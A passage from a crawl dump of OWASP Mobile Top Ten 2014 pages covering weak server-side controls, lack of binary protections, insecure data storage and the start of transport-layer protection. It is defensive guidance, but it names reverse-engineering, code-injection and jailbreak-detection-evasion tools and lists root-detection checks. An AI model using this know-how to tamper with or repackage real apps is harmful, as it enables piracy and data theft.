call is implemented using insecure coding techniques that produce an OWASP Top Ten vulnerability within the server. Through the mobile interface, an adversary is able to feed malicious inputs or unexpected sequences of events to the vulnerable endpoint. Hence, the adversary realizes the original OWASP Top Ten vulnerability on the server.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThe technical impact of this vulnerability corresponds to the technical impact of the associated vulnerability (defined in the OWASP Top Ten) that the adversary is exploiting via the mobile device. For example, an adversary may exploit a Cross-Site Scripting (XSS) vulnerability via the mobile device. This corresponds to the OWASP Top Ten A3 - XSS Category with a technical impact of moderate.\n\n# Business Impacts\n\n**Application / Business Specific**\n\nThe business impact of this vulnerability corresponds to the business impact of the associated vulnerability (defined in the OWASP Top Ten) that the adversary is exploiting via the mobile device. For example, an adversary may exploit a Cross-Site Scripting (XSS) vulnerability via the mobile device. This corresponds to the OWASP Top Ten A3 - XSS Category’s business impacts.\n\n# Am I Vulnerable To ‘Weak Server Side Controls’?\n\nM1 encompasses almost everything that a mobile application can do badly that does not take place on the phone. Which is exactly the argument… should it be listed at all? Don’t we have a Top Ten lists for Web Applications? Don’t we have one for cloud too?\n\nIn fact, we do. If we could be altogether sure that everyone who wanted information on mobile security also stopped by those projects… it would be a perfect world. After two rounds of data collection from some of the world’s top assessment teams, server side issues are so prevalent in mobile applications that we cannot ignore them in the Mobile Top Ten 2014 listing. Experience suggests that several factors have lead to a proliferation of server-side vulnerabilities. These factors include:\n\n- Rush to market;\n- Lack of security knowledge because of the new-ness of the languages;\n- Easy access to frameworks that don’t prioritize security;\n- Higher than average outsourced development;\n- Lower security budgets for mobile applications;\n- Assumption that the mobile OS takes full responsibility for security; and\n- Weakness due to cross-platform development and compilation.\n\n# How Do I Prevent ‘Weak Server Side Controls’?\n\nSecure coding and configuration practices must be used on server-side of the mobile application. For specific vulnerability information, refer to the OWASP Web Top Ten or Cloud Top Ten projects.\n\n# Example Attack Scenarios\n\nBelow, you can see that there are many risks and vulnerabilities that you must mitigate in order to satisfy M1:\n\n**The Worst Offenders**\nBelow is a list vulnerability types that OWASP sees most often within mobile applications:\n\n- **Poor Web Services Hardening**\n - Logic flaws\n - [Testing for business logic flaws](https://www.owasp.org/index.php/Testing_for_business_logic_(OWASP-BL-001))\n - [Business] Logic Security Cheat Sheet](https://www.owasp.org/index.php/Business_Logic_Security_Cheat_Sheet)\n - Weak Authentication\n - [OWASP Top Ten Broken Authentication Section](https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management)\n - [Authentication Cheat Sheet](https://www.owasp.org/index.php/Authentication_Cheat_Sheet)\n - [Developers Guide for Authentication](https://www.owasp.org/index.php/Guide_to_Authentication)\n - [Testing for Authentication](https://www.owasp.org/index.php/Testing_for_authentication)\n - Weak or no session management\n - Session fixation\n - Sensitive data transmitted using GET method\n- **Insecure web server configurations**\n - Default content\n - Administrative interfaces\n- **Injection (SQL, XSS, Command) on both web services and mobile-enabled websites**\n- **Authentication flaws**\n- **Session Management flaws**\n- **Access control vulnerabilities**\n- **Local and Remote File Includes**\n\n# References\n\n- OWASP\n - [OWASP Top Ten](https://www.owasp.org/index.php/OWASP_Top_Ten)\n- External\n - [External References](http://cwe.mitre.org/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 4897, "slov": 657, "odkazu": 41, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:43", "sha256": "14a6dc7ac7a52daf99eb7e6b83a97658e538a39ef32c0126db58cdad2addba1d", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/Testing_for_business_logic_(OWASP-BL-001)", "https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management", "https://www.owasp.org/index.php/Authentication_Cheat_Sheet", "https://www.owasp.org/index.php/Guide_to_Authentication", "https://www.owasp.org/index.php/Testing_for_authentication", "https://www.owasp.org/index.php/OWASP_Top_Ten", "http://cwe.mitre.org/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m10-lack-of-binary-protections", "titulek": "M10: Lack of Binary Protections | OWASP Foundation", "h1": "M10: Lack of Binary Protections", "popis": "M10: Lack of Binary Protections on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2014-risks/m10-lack-of-binary-protections", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M10: Lack of Binary Protections on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M10: Lack of Binary Protections | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m10-lack-of-binary-protections.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M10: Lack of Binary Protections"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Lack of Binary Protections’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Lack of Binary Protections’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M10: Lack of Binary Protections\n\n# Threat Agents\n\n**Application Specific**\n\nTypically, an adversary will analyze and reverse engineer a mobile app’s code, then modify it to perform some hidden functionality.\n\n# Attack Vectors\n\n**Exploitability MEDIUM**\n\nAn adversary will use an automated tool to reverse engineer the code and modify it using malware to perform some hidden functionality.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability EASY**\n\n**Prevalence**\nA lack of binary protections within a mobile app exposes the application and it’s owner to a large variety of technical and business risks if the underlying application is insecure or exposes sensitive intellectual property. A lack of binary protections results in a mobile app that can be analyzed, reverse-engineered, and modified by an adversary in rapid fashion. However, an application with binary protection can still be reversed by a dedicated adversary and therefore binary protection is not a perfect security solution. At the end of the day, binary protection only slows down a security review.\n\nIt is extremely common for apps to be deployed without binary protection. The prevalence has been extensively studied by a large number of security vendors, analysts, and researchers [1] [2] [3] [17].\n\n**Detectability**\n\nIt is difficult to detect that an adversary has reverse engineered an app’s code. Typically, the app owner will realize reverse engineering was successful when the code shows up in another app in iTunes [4], Google Play [5] [16], or a third-party app store [6]. Usually, the owner discovers this by accident and not through active policing by an app store.\n\nThere are many different viable solutions to detect code modification at runtime and respond accordingly. At runtime, mobile apps should be enabled to detect if a runtime modification / injection has occurred and react in a number of different ways. Pre-determined reactions of the apps will vary from either attempting to thwart the attack or fail in a subtle way [7].\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nThe majority of mobile apps do not prevent an adversary from successfully analyzing, reverse engineering or modifying the app’s binary code [1]. Organizations should apply binary protections to a mobile app under a few different circumstances:\n\n**Analysis and Reverse Engineering**\n\nBinary protections slow down an adversary from analyzing exposed interfaces and reverse engineering code within the mobile app. All too often, the adversary will steal code and recycle it within another app for resell [16]. The app owner is often unaware that the app has been repurposed and sold elsewhere unless they utilize some form of appstore monitoring service or similar. If there is a likely chance that this may occur, the owner should consider binary protections to the app. But be warned, this protection only slows an attacker from reverse engineering. It does not prevent an attacker from doing so.\n\n**Unauthorized Code Modification**\n\nBinary protections slow an adversary from modifying the underlying code or behavior to disable or add additional functionality on behalf of the adversary. This is likely to occur if the application stores, transmits, or processes personally identifiable information (PII) or other sensitive information assets like passwords or credit cards. Code modification often takes the form of repackaging or insertion of malware into existing mobile apps [3] [18].\n\n# Business Impacts\n\n**Application / Business Specific**\n\nTypically, a lack of binary protection will result in the following business impacts:\n\n- Privacy Related and Confidential Data Theft;\n- Unauthorized Access and Fraud;\n- Brand and Trust Damage;\n- Revenue Loss and Piracy;\n- Intellectual Property Theft;\n- User Experience Compromise.\nMany different analysts have provided policy guidance around minimizing this risk [8] [9] [10] [11] [12].\n\n# Am I Vulnerable To ‘Lack of Binary Protections’?\n\nIf you are hosting code in an untrustworthy environment, you are susceptible to this risk [1] [2] [3] [17]. An untrustworthy environment is defined as an environment in which the organization does not have physical control. This includes mobile clients, firmware in appliances, cloud spaces, or datacenters within particular countries.\n\nIf you answer yes to any of these questions, you are vulnerable to a binary attack:\n\n- Can someone code-decrypt this app (iPhone specific) using an automated tool like ClutchMod or manually using GDB?\n- Can someone reverse engineer this app (Android specific) using an automated tool like dex2jar?\n- Can someone use an automated tool like Hopper or IDA Pro to easily visualize the control-flow and pseudo-code of this app?\n- Can someone modify the app’s presentation layer (HTML/JS/CSS) of this app within the phone and execute modified JavaScript?\n- Can someone modify the app’s binary executable using a hex editor to get it to bypass a security control?\n\n# How Do I Prevent ‘Lack of Binary Protections’?\n\nFirst, the application must follow secure coding techniques for the following security components within the mobile app:\n\n- Jailbreak Detection Controls;\n- Checksum Controls;\n- Certificate Pinning Controls;\n- Debugger Detection Controls.\n\nNext, the app must adequately mitigate two different technical risks that the above controls are exposed to:\n\n1. The organization building the app must adequately prevent an adversary from analyzing and reverse engineering the app using static or dynamic analysis techniques;\n2. The mobile app must be able to detect at runtime that code has been added or changed from what it knows about its integrity at compile time. The app must be able to react appropriately at runtime to a code integrity violation.\n\nThe remediation strategies for these types of risks are outlined in more technical detail within the OWASP Reverse Engineering and Code Modification Prevention Project.\n\n**Android Specific Best Practices:**\n\n**Android Root Detection**\n\nThere are a few common ways to detect a rooted Android device:\nCheck for test-keys\n\n- Check to see if build.prop includes the line ro.build.tags=test-keys indicating a developer build or unofficial ROM\n\nCheck for OTA certificates\n\n- Check to see if the file /etc/security/otacerts.zip exists\n\nCheck for several known rooted apk’s\n\n- com.noshufou.android.su\n- com.thirdparty.superuser\n- eu.chainfire.supersu\n- com.koushikdutta.superuser\n\nCheck for SU binaries\n\n- /system/bin/su\n- /system/xbin/su\n- /sbin/su\n- /system/su\n- /system/bin/.ext/.su\n\nAttempt SU command directly\n\n- Attempt the to run the command su and check the id of the current user, if it returns 0 then the su command has been successful\n\n# Example Attack Scenarios\n\nThis section outlines typical app vulnerabilities that result from a lack of binary protection. Items within parenthesis indicate examples of tools you can use to test for these vulnerabilities.\n\n**iOS Apps**\n\n- Disabling Code Encryption (ClutchMod);\n- Jailbreak Detection Evasion (xcon);\n- Class Dumping (class-dump-z);\n- Method Swizzling (Mobile Substrate);\n- Runtime Code Injection (cycript);\n- Runtime Monitoring (Snoop-It);\n- Runtime Analysis (GDB); and\n- Reverse Engineering ( [IDA Pro](https://www.hex-rays.com/products/ida/) ; Hopper).\n\n**Android Apps**\n\n- Bytecode Conversion (apktool; dex2jar);\n- Runtime Analysis (ADB);\n- Reverse Engineering ( [IDA Pro](https://www.hex-rays.com/products/ida/) ; Hopper);\n- Disassembly (baksmali) and\n- Code Injection (Mobile Substrate).\n\n**Windows Phone Apps**\n\n- .NET Decompiler ( [JetBrains dotPeak](https://www.jetbrains.com/decompiler/) ; [ILSpy](http://ilspy.net/) ; [RedGate .NET Reflector](http://www.red-gate.com/products/dotnet-development/reflector/) );\n- Runtime Analysis ( [Tangerine](https://github.com/andreycha/tangerine) ; [XAPSpy](https://github.com/sensepost/xapspy) );\n- Reverse Engineering ( [IDA Pro](https://www.hex-rays.com/products/ida/) );\n- Disassembly ( [MSIL Disassembler (Ildasm.exe)](https://msdn.microsoft.com/en-us/library/f7dy01k1%28v=vs.110%29.aspx) ) and\n\nThere are many well-established security experts within the mobile space that have written books on the topic of binary protection testing [13] [14] [15].\n\n# References\n\n- [1] Arxan Research: [State of Security in the App Economy, Volume 2](https://www.arxan.com/assets/1/7/State_of_Security_in_the_App_Economy_Report_Vol._2.pdf) , November 2013:\n\n> “Adversaries have hacked 78 percent of the top 100 paid Android and iOS apps in 2013.”\n\n- [2] HP Research: [HP Research Reveals Nine out of 10 Mobile Applications Vulnerable to Attack](http://www8.hp.com/us/en/hp-news/press-release.html?id=1528865#.UuwZFPZvDi5) , 18 November 2013:\n\n> “86 percent of applications tested lacked binary hardening, leaving applications vulnerable to information disclosure, buffer overflows and poor performance. To ensure security throughout the life cycle of the application, it is essential to build in the best security practices from conception.”\n\n- [3] North Carolina State University: [Dissecting Android Malware: Characterization and Evolution](http://www.csc.ncsu.edu/faculty/jiang/pubs/OAKLAND12.pdf) , 7 September 2011:\n\n> “Our results show that 86.0% of them (Android Malware) repackage legitimate apps to include malicious payloads; 36.7% contain platform-level exploits to escalate privilege; 93.0% exhibit the bot-like capability.”\n\n- [4] Tech Hive: [Apple Pulls Ripoff Apps from its Walled Garden](http://www.techhive.com/article/249310/apple_pulls_ripoff_apps_from_its_walled_garden.html) Feb 4th, 2012:\n\n> “While Apple is known for screening apps before they are allowed to sprout up in its walled garden, clearly fake apps do get in. Once they do, getting them out depends on developers who raise a fuss.”\n\n- [5] Tech Crunch: [Developer Spams Google Play With RipOffs of Well-Known Apps… Again](http://techcrunch.com/2014/01/02/developer-spams-google-play-with-ripoffs-of-well-known-apps-again/) , January 2 2014:\n\n> “It’s not uncommon to search the Google Play app store and find a number of knock-off or “fake” apps aiming to trick unsuspecting searchers into downloading them over the real thing.”\n\n- [6] Extreme Tech: [Chinese App Store Offers Pirated iOS Apps Without the Need To Jailbreak](http://www.extremetech.com/mobile/153849-chinese-app-store-offers-pirated-ios-apps-without-the-need-to-jailbreak) , April 19 2013:\n\n> “The site offers apps for free that would otherwise cost money, including big-name titles.”\n\n- [7] OWASP: [Architectural Principles That Prevent Code Modification or Reverse Engineering](https://www.owasp.org/index.php/Architectural_Principles_That_Prevent_Code_Modification_or_Reverse_Engineering), January 11th 2014.\n- [8] Gartner report: Avoiding Mobile App Development Security Pitfalls, 24 May 2013:\n\n> “For critical applications, such as transactional ones and sensitive enterprise applications, hardening should be used.”\n\n- [9] Gartner report: Emerging Technology Analysis: Mobile Application Shielding, March 26th, 2013:\n\n> “As more regulated and sensitive data applications move to mobile platforms the need to increase data protection increases. Mobile application shielding presents the opportunity to security providers to offer higher data protection standards to mobile platforms that exceed mobile OS security.”\n\n- [10] Gartner report: Proliferating Mobile Transaction Attack Vectors and What to Do About Them, March 1st, 2013:\n\n> “Use mobile application security testing services and self-defending application utilities to help prevent hacking attempts.”\n\n- [11] Gartner report: Select a Secure Mobile Wallet for Proximity, March 1st, 2013:\n\n> “Application hardening can fortify sensitive business code against hacking attempts, such as reverse engineering”\n\n- [12] Forrester paper: Choose The Right Mobile Development Solutions For Your Organization, May 6th 2013:\n\n> “5 Key Protections: Data Protection, App Compliance, App-Level Threat Defense, Security Policy Enforcement, App Integrity”\n\n- [13] John Wiley and Sons, Inc: [iOS Hacker’s Handbook](http://www.amazon.com/iOS-Hackers-Handbook-Charlie-Miller/dp/1118204123), Published May 2012, [ISBN 1118204123](https://wiki.owasp.org/index.php/Special:BookSources/1118204123).\n- [14] McGraw Hill Education: [Mobile Hacking Exposed](http://mobilehackingexposed.com/), Published July 2013, [ISBN 0071817018](https://wiki.owasp.org/index.php/Special:BookSources/0071817018).\n- [15] Publisher Unannounced: [Android Hacker’s Handbook](http://www.amazon.com/Android-Hackers-Handbook-Joshua-Drake/dp/111860864X), To Be Published April 2014.\n- [16] Software Development Times: [More than 5,000 apps in the Google Play Store are copied APKs, or ‘thief-ware’](http://sdt.bz/66393#ixzz2sHa7dFMp), November 20 2013:\n\n> “In most cases, the 2,140 copycat developers that were found reassembled the apps almost identically, adding new advertising SDKs to siphon profits away from the original developers.\n\n- [17] InfoSecurity Magazine: [Two Thirds of Personal Banking Apps Found Full of Vulnerabilities](http://www.infosecurity-magazine.com/view/36376/two-thirds-of-personal-banking-apps-found-full-of-vulnerabilities/) , January 3 2014:\n\n> “But one of his more worrying findings came from disassembling the apps themselves … what he found was hardcoded development credentials within the code. An attacker could gain access to the development infrastructure of the bank and infest the application with malware causing a massive infection for all of the application’s users.”\n\n- [18] InfoSecurity Magazine: [Mobile Malware Infects Millions; LTE Spurs Growth](http://www.infosecurity-magazine.com/view/36686/mobile-malware-infects-millions-lte-spurs-growth/) , January 29 2014:\n\n> “Number of mobile malware samples is growing at a rapid clip, increasing by 20-fold in 2013… It is trivial for an attacker to hijack a legitimate Android application, inject malware into it and redistribute it for consumption. There are now binder kits available that will allow an attacker to automatically inject malware into an existing application”\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 13999, "slov": 1904, "odkazu": 56, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:52", "sha256": "6a960b606aad7f8b73aaf5e1354ab692ad7414eb3fc5690899fc4ec11b175d1e", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.hex-rays.com/products/ida/", "https://www.jetbrains.com/decompiler/", "http://ilspy.net/", "http://www.red-gate.com/products/dotnet-development/reflector/", "https://github.com/andreycha/tangerine", "https://github.com/sensepost/xapspy", "https://msdn.microsoft.com/en-us/library/f7dy01k1(v=vs.110).aspx", "https://www.arxan.com/assets/1/7/State_of_Security_in_the_App_Economy_Report_Vol._2.pdf", "http://www8.hp.com/us/en/hp-news/press-release.html?id=1528865", "http://www.csc.ncsu.edu/faculty/jiang/pubs/OAKLAND12.pdf", "http://www.techhive.com/article/249310/apple_pulls_ripoff_apps_from_its_walled_garden.html", "http://techcrunch.com/2014/01/02/developer-spams-google-play-with-ripoffs-of-well-known-apps-again/", "http://www.extremetech.com/mobile/153849-chinese-app-store-offers-pirated-ios-apps-without-the-need-to-jailbreak", "https://www.owasp.org/index.php/Architectural_Principles_That_Prevent_Code_Modification_or_Reverse_Engineering", "http://www.amazon.com/iOS-Hackers-Handbook-Charlie-Miller/dp/1118204123", "https://wiki.owasp.org/index.php/Special:BookSources/1118204123", "http://mobilehackingexposed.com/", "https://wiki.owasp.org/index.php/Special:BookSources/0071817018", "http://www.amazon.com/Android-Hackers-Handbook-Joshua-Drake/dp/111860864X", "http://sdt.bz/66393", "http://www.infosecurity-magazine.com/view/36376/two-thirds-of-personal-banking-apps-found-full-of-vulnerabilities/", "http://www.infosecurity-magazine.com/view/36686/mobile-malware-infects-millions-lte-spurs-growth/", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m2-insecure-data-storage", "titulek": "M2: Insecure Data Storage | OWASP Foundation", "h1": "M2: Insecure Data Storage", "popis": "M2: Insecure Data Storage on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2014-risks/m2-insecure-data-storage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M2: Insecure Data Storage on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M2: Insecure Data Storage | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m2-insecure-data-storage.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M2: Insecure Data Storage"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Insecure Data Storage’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Insecure Data Storage’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M2: Insecure Data Storage\n\n# Threat Agents\n\n**Application Specific**\n\nThreats agents include the following: an adversary that has attained a lost/stolen mobile device; malware or a other repackaged app acting on the adversary’s behalf that executes on the mobile device.\n\n# Attack Vectors\n\n**Exploitability EASY**\n\nIn the event that an adversary physically attains the mobile device, the adversary hooks up the mobile device to a computer with freely available software. These tools allow the adversary to see all third party application directories that often contain stored personally identifiable information (PII) or other sensitive information assets. An adversary may construct malware or modify a legitimate app to steal such information assets.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability Easy**\n\nInsecure data storage vulnerabilities occur when development teams assume that users or malware will not have access to a mobile device’s filesystem and subsequent sensitive information in data-stores on the device. Filesystems are easily accessible. Organizations should expect a malicious user or malware to inspect sensitive data stores. Rooting or jailbreaking a mobile device circumvents any encryption protections. When data is not protected properly, specialized tools are all that is needed to view application data.\n\n# Technical Impacts\n\n**Impact SEVERE**\n\nInsecure data storage can result in data loss, in the best case, for one user. In the worst case, for many users. Common valuable pieces of data seen stored include:\n\n- Usernames\n- Authentication tokens\n- Passwords\n- Cookies\n- Location data\n- UDID/EMEI, Device Name, Network Connection Name\n- Personal Information: DoB, Address, Social, Credit Card Data\n- Application Data:\n - Stored application logs e.g For an android Apps ADB logcat\n - Debug information\n - Cached application messages\n - Transaction histories\n\n# Business Impacts\n\n**Application / Business Specific**\n\nInsecure data storage vulnerabilities typically lead to the following business risks for the organization that owns the risk app:\n\n- Identity Theft\n- Fraud\n- Reputation Damage\n- External Policy Violation (PCI)\n- or Material Loss.\n\n# Am I Vulnerable To ‘Insecure Data Storage’?\n\nIt is important to threat-model your mobile app to understand the information assets it processes and how the underlying APIs handle those assets. These APIs should store sensitive information securely. Places OWASP most often sees data being stored insecurely include the following:\n\n- SQL databases;\n- Log files;\n- Plist Files\n- XML data stores ou manifest files;\n- Binary data stores;\n- Cookie stores;\n- SD card;\n- Cloud synced.\n\nWhen applying encryption and decryption to sensitive information assets, malware may perform a binary attack on the app in order to steal encryption or decryption keys. Once it steals the keys, it will decrypt the local data and steal sensitive information. See OWASP Mobile Top Ten 2014 Category M10 for more information on this topic.\n\n# How Do I Prevent ‘Insecure Data Storage’?\n\nThe cardinal rule of mobile apps is to not store data unless absolutely necessary. As a developer you have to assume that the data is forfeited as soon as it touches the phone. You also have to consider the implications of losing mobile users’ data to a silent jailbreak or root exploit. If the usability versus security trade-off is too much for you, OWASP recommends scrutinizing your platforms data security APIs and making sure you’re calling them appropriately. The lesson here is to know what data is being stored and protect it appropriately.\n\n**iOS Specific Best Practices:**\n\n- Never store credentials on the phone file system. Force the user to authenticate using a standard web or API login scheme (over HTTPS) to the application upon each opening and ensure session timeouts are set at the bare minimum to meet the user experience requirements.\n- Where storage or caching of information is necessary consider using a standard iOS encryption library such as CommonCrypto. However, for particularly sensitive apps, consider using whitebox cryptography solutions that avoid the leakage of binary signatures found within common encryption libraries.\n- If the data is small, using the provided apple keychain API is recommended but, once a phone is jailbroken or exploited the keychain can be easily read. This is in addition to the threat of a bruteforce on the devices PIN, which as stated above is trivial in some cases.\n- For databases consider using SQLcipher for Sqlite data encryption\n- For items stored in the keychain leverage the most secure API designation, kSecAttrAccessibleWhenUnlocked (now the default in iOS 5) and for enterprise managed mobile devices ensure a strong PIN is forced, alphanumeric, larger than 4 characters.\n- For larger or more general types of consumer-grade data, Apple’s File Protection mechanism can safely be used (see NSData Class Reference for protection options).\nA- void using NSUserDefaults to store sensitive pieces of information as it stores data in plist files.\n- Be aware that all data/entities using NSManagedObects will be stored in an unencrypted database file.\n- Avoid exclusively relying upon hardcoded encryption or decryption keys when storing sensitive information assets.\n- Consider providing an additional layer of encryption beyond any default encryption mechanisms provided by the operating system.\n\n**Android Specific Best Practices:**\n\n- For local storage the enterprise android device administration API can be used to force encryption to local file-stores using “setStorageEncryption”\n- For SD Card Storage some security can be achieved via the ‘javax.crypto’ library. You have a few options, but an easy one is simply to encrypt any plain text data with a master password and AES 128.\n- Ensure any shared preferences properties are NOT MODE_WORLD_READABLE unless explicitly required for information sharing between apps.\n- Avoid exclusively relying upon hardcoded encryption or decryption keys when storing sensitive information assets.\n- Consider providing an additional layer of encryption beyond any default encryption mechanisms provided by the operating system.\n\n# Example Attack Scenarios\n\n**A Visual Example**\n\niGoat is a purposefully vulnerable mobile app for the security community to explore these types of vulnerabilities first hand. In the exercise below, we enter our credentials and log in to the fake bank app. Then, we navigate to the file system. Within the applications directory, we can see a database called “credentials.sqlite”. Exploring this database reveals that the application is storing our username and credentials (Jason:pleasedontstoremebro!) in plain text.\n\n# References\n\n- OWASP\n - [OWASP iOS Developer Cheat Sheet](https://www.owasp.org/index.php/IOS_Developer_Cheat_Sheet)\n- External\n - [Google Androids Developer Security Topics 1](http://source.android.com/tech/security/)\n - [Google Androids Developer Security Topics 2](http://developer.android.com/training/articles/security-tips.html)\n - [Apple’s Introduction to Secure Coding](https://developer.apple.com/library/mac/)\n - [Fortify On Demand Blog - Exploring The OWASP Mobile Top 10: Insecure Data Storage](http://h30499.www3.hp.com/t5/Application-Security-Fortify-on/Exploring-The-OWASP-Mobile-Top-10-M1-Insecure-Data-Storage/ba-p/5904609)\n\n---\n\n[Watch](https://github.com/owasp/www-project-mobile-top-10/subscription) [Star](https://github.com/owasp/www-project-mobile-top-10)", "znaku_textu": 7371, "slov": 1047, "odkazu": 39, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:35:44", "sha256": "b527728c32376f0a3d34a09d38b2a5e51abf83a84958dbe206ae9f7f389de90d", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/IOS_Developer_Cheat_Sheet", "http://source.android.com/tech/security/", "http://developer.android.com/training/articles/security-tips.html", "https://developer.apple.com/library/mac/", "http://h30499.www3.hp.com/t5/Application-Security-Fortify-on/Exploring-The-OWASP-Mobile-Top-10-M1-Insecure-Data-Storage/ba-p/5904609", "https://github.com/owasp/www-project-mobile-top-10/subscription", "https://github.com/owasp/www-project-mobile-top-10", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m3-insufficient-transport-layer-protection", "titulek": "M3: Insufficient Transport Layer Protection | OWASP Foundation", "h1": "M3: Insufficient Transport Layer Protection", "popis": "M3: Insufficient Transport Layer Protection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-mobile-top-10/2014-risks/m3-insufficient-transport-layer-protection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "M3: Insufficient Transport Layer Protection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "M3: Insufficient Transport Layer Protection | OWASP Foundation", "og:url": "https://owasp.org/www-project-mobile-top-10/2014-risks/m3-insufficient-transport-layer-protection.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "M3: Insufficient Transport Layer Protection"}, {"uroven": 1, "text": "Threat Agents"}, {"uroven": 1, "text": "Attack Vectors"}, {"uroven": 1, "text": "Security Weakness"}, {"uroven": 1, "text": "Technical Impacts"}, {"uroven": 1, "text": "Business Impacts"}, {"uroven": 1, "text": "Am I Vulnerable To ‘Insufficient Transport Layer Protection’?"}, {"uroven": 1, "text": "How Do I Prevent ‘Insufficient Transport Layer Protection’?"}, {"uroven": 1, "text": "Example Attack Scenarios"}, {"uroven": 1, "text": "References"}], "markdown": "# M3: Insufficient Transport Layer Protection\n\n# Threat Agents\n\n**Application Specific**\n\nWhen designing a mobile application, data is commonly exchanged in a client-server fashion. When the solution transmits its data, it must traverse the mobile device’s carrier network and the internet. Threat agents might exploit vulnerabilities to intercept sensitive data while it’s traveling across the wire. The following threat agents exist:\n\n- An adversary that shares your local network (compromised or monitored Wi-Fi);\n- Carrier or network devices (routers, cell towers, proxy’s, etc); or\n- Malware on your mobile device.\n\n# Attack Vectors\n\n**Exploitability DIFFICULT**\n\nThe exploitabilty factor of monitoring a network for insecure communications ranges. Monitoring traffic over a carrier’s network is harder than that of monitoring a local coffee shop’s traffic. In general, targeted attacks are easier to perform.\n\n# Security Weakness\n\n**Prevalence COMMON** \n **Detectability EASY**\n\nMobile applications frequently do not protect network traffic. They may use SSL/TLS during authentication but not elsewhere. This inconsistency leads to the risk of exposing data and session IDs to interception.\nThe use of transport security does not mean the app has implemented it correctly.\n\nTo detect basic flaws, observe the phone’s network traffic. More subtle flaws require inspecting the design of the application and the applications configuration.\n\n# Technical Impacts\n\n**Impact MODERATE**\n\nThis flaw exposes an individual user’s data and can lead to account theft. If 